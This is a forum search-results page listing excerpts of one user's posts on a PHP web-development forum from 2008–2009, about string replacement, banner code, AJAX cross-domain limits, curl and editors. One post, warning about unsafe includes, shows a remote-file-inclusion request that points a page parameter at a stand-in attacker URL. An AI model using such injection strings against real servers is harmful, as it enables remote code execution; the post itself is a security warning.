Search found 299 matches

Actual Results

Post Posted: August 10th, 2009, 1:47 am

Thanks for the headsup rabid :)

First off, You allready know that answer, but for the latter yes they are indeed short-crcuit (lazy) operators. if one 'and' two is false then they will all be, if one or two is true they will all be.

Thanks for that typo i have corrected it :)

Post Posted: December 11th, 2008, 3:46 am

Truce wrote:
FTR and to clarify, web browsers simply won't let you access another website with AJAX, so that nixes it for this purpose, even using iFrames.


I didnt knew that :). But then again, what isnt now might be scripted / programmed in the future ^^ Thx for that clarification :)

Post Posted: December 10th, 2008, 8:28 am

Means, php can replace the placeholder PHP, but ph or phpy can't replace the placeholder PHP. ? This sounds strange to me. Just run this and see what i mean...
Code: [ Download ] [ Select ]
$data = 'Ozzu has a user called May'; $data = str_replace('May', 'Ozzu', $data); echo "$data";
The output i get is....

Post Posted: December 10th, 2008, 7:24 am

Use PHP ;) [code]  <?php $bnr[1]['link'] = "http://www.google.com"; $bnr[1]['img'] = "http://www.google.nl/intl/nl_nl/images/logo.gif"; $bnr[2]['link'] = "http://www.amis.nl"; $bnr[2]['img'] = "http://www.amis.nl/gfx/img_amis_logo.gif";   function GetBanner...

Post Posted: December 10th, 2008, 3:32 am

May, AJAX is out. For security reasons, the XmlHttpRequest object isn't allowed to access pages outside of its own domain. http://php.net/curl Im not too familiar with whats "in or out" and security is a matter of scripting it savely if you ask me. Just to be clear, i was pointing out Aja...

Post Posted: December 10th, 2008, 3:17 am

Curl is capable to handle Posts / Gets as if your script where a browser. So in effect CURL can fill out a form, or grab content from external websites and present that info localy as if the information is from your own site. To give you some example of Curl in action. This Script > http://www.du...

Post Posted: December 10th, 2008, 3:11 am

Ow i use Eclipse and notepad++ (hacked a bit to my liking :) )

Post Posted: December 9th, 2008, 4:07 am

Code: [ Download ] [ Select ]
$link=[download code]; if($code!=$verify){$link="http://www.mydomain.com";} header("Location: http://www.mydomain.com");
Your remark "Im like wtf so i did" is just as confusing to me as reading this piece of code. I cant realy figure out what you are tryi...

Post Posted: December 9th, 2008, 3:40 am

I would use Ajax, and dont send - get data between webservers. Also i would recommend using SSL but this would be the setup i would use... [code]  Web1 (Serve Page)  | Page  Ajax Component ----> Web2 (Handle auth)                        | Auth succes?valid session? etc?  Handle Response <----W...

Post Posted: December 9th, 2008, 3:32 am

srrejeki wrote:
...Because im still a rookie in PHP... :mrgreen:


A realy good editor isnt going to help you on that part though :) You will still need to read allot and code allot to change that part :D

Post Posted: December 2nd, 2008, 4:23 am

I often face myself with the question is my code realy functional or is there a smarter way to reach my goal. When am i trying to create a programatical wonder or is it realy the basic functionality i want to guarantee here. When i look at this part of the code i wonder the same... [code]   * Genera...

Post Posted: December 2nd, 2008, 4:03 am

lol, could be. The should be is a tough one though :D

Post Posted: December 2nd, 2008, 3:41 am

Hehe :) Both are correct, and we are all wrong ;) I dont know what he is trying to do exactly or how "smart" and "exclusive" the solution should be in the long run. But i do know we all are trying to help him as good as we can... :) And indeed bogey, you example is save, whereas ...

Post Posted: December 1st, 2008, 6:54 am

Does anyone consider security nowadays? How about this request? ?pg=http://mybogussite.com/hackyourserver.php It will be included and more importantly executed on the server thats handling the include. So effectively if your unlucky and a internet worm is starting to beat your website... One of thes...

Post Posted: October 28th, 2008, 5:23 am

There isnt a "build-in" function available as far as i know. NL2BR does just that, convert \n to <br>. So you can either "strip" the \n from the string after applying the <br>. Or you can evaluate the string rule by rule writing your own function, that can look someth...
  • Sort by
 
 

© Unmelted Enterprises 1998-2009. Driven by phpBB © 2001-2009 phpBB Group.